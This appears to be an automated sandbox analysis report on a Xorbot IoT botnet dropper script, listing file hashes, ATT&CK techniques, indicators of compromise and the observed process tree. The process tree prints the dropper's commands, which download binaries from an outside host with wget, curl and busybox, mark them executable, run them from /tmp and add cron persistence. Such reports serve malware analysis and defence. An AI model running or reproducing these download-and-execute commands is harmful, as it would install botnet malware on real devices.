xorbot | 812ef6f030af65d18b7d650063c4e5373ea991e2b32c93cd6902c4c8df41d427

Analysis

max time kernel
150s
max time network
154s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
05/01/2025, 09:42

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General

Target

bins.sh
Size

10KB
MD5

b911cfa8970b6039469123ac49e538ee
SHA1

8e728a2553d2126e04fe11b05a0d31b97e034c4a
SHA256

812ef6f030af65d18b7d650063c4e5373ea991e2b32c93cd6902c4c8df41d427
SHA512

4fb3170d6e3127d8dbb2db6996f3c4f96c45ef0e989ba7d8862afaec387a9c67b68243845b9643f8d086f7c80bf312e4ac5c46155220dcfca0d88829749e1bb8
SSDEEP

192:qlpwengkn1+C+JlcjDXmbo/gkn1+CuJlcjDS:qzwen3/u

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral4/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (1561) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
739	chmod
782	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/FPW5kXRVyWyFm2fMyvTMTByn57Z6a43JMh	740	FPW5kXRVyWyFm2fMyvTMTByn57Z6a43JMh
/tmp/0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG	783	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG

Renames itself 1 IoCs

pid	Process
784	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.WwNdBf	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/830/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/844/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/856/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/940/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/21/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/812/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/695/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/839/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/911/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/10/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/823/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/855/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/861/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/925/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/932/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/82/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/827/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/977/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/993/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/4/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/75/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/778/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/894/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/901/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/906/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/930/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/946/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/36/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/384/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/971/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/16/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/920/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/961/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/22/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/950/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/378/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/866/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/74/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/79/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/870/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/871/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/926/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/77/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/810/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/967/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/983/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/80/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/834/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/919/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/826/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/850/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/873/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/924/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/935/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/674/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/794/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/916/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/976/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/899/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/908/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/496/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/822/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/851/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
File opened for reading	/proc/886/cmdline	0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG

System Network Configuration Discovery 1 TTPs 7 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
721	curl
728	busybox
745	wget
762	curl
781	busybox
796	wget
705	wget

Writes file to tmp directory 4 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG	wget
File opened for modification	/tmp/0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG	curl
File opened for modification	/tmp/FPW5kXRVyWyFm2fMyvTMTByn57Z6a43JMh	wget
File opened for modification	/tmp/FPW5kXRVyWyFm2fMyvTMTByn57Z6a43JMh	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:696
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:703
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/FPW5kXRVyWyFm2fMyvTMTByn57Z6a43JMh
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:705
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/FPW5kXRVyWyFm2fMyvTMTByn57Z6a43JMh
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:721
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/FPW5kXRVyWyFm2fMyvTMTByn57Z6a43JMh
  2⤵
  - System Network Configuration Discovery
  PID:728
- /bin/chmod
  chmod 777 FPW5kXRVyWyFm2fMyvTMTByn57Z6a43JMh
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /tmp/FPW5kXRVyWyFm2fMyvTMTByn57Z6a43JMh
  ./FPW5kXRVyWyFm2fMyvTMTByn57Z6a43JMh
  2⤵
  - Executes dropped EXE
  PID:740
- /bin/rm
  rm FPW5kXRVyWyFm2fMyvTMTByn57Z6a43JMh
  2⤵
  PID:744
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:745
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:762
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
  2⤵
  - System Network Configuration Discovery
  PID:781
- /bin/chmod
  chmod 777 0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
  2⤵
  - File and Directory Permissions Modification
  PID:782
- /tmp/0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
  ./0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:783
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:785
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:786
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:794
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:795
- /bin/rm
  rm 0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG
  2⤵
  PID:790
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/yogWT6uplQ4Qagy1Cedt0F6N29I1BbHdmK
  2⤵
  - System Network Configuration Discovery
  PID:796

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/0RppFM4bRgEaNdodF4lMeLaVCJwkSmtQPG

Filesize
151KB

MD5
6c583043d91c55aa470c08c87058e917

SHA1
abf65a5b9bba69980278ad09356e53de8bb89439

SHA256
2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

SHA512
82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

Download Submit
/tmp/FPW5kXRVyWyFm2fMyvTMTByn57Z6a43JMh

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/var/spool/cron/crontabs/tmp.WwNdBf

Filesize
210B

MD5
a450cf8cd21e981b97e5de11112d1f3e

SHA1
bef52c672e99d5af99bfffcb814f7eb5529625a0

SHA256
84a7c62682918dc27ca251a44e41778d92f718780b6f32d57046c6561e939cf5

SHA512
e7b413e0099ec1c50a0ce0fd267b81ddbc1e344e5836fc7ef15f9690e846b9cb9f340e521647078d75415ed5fe44e0777228ab45653b63bfc677748cf1abb9bb

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads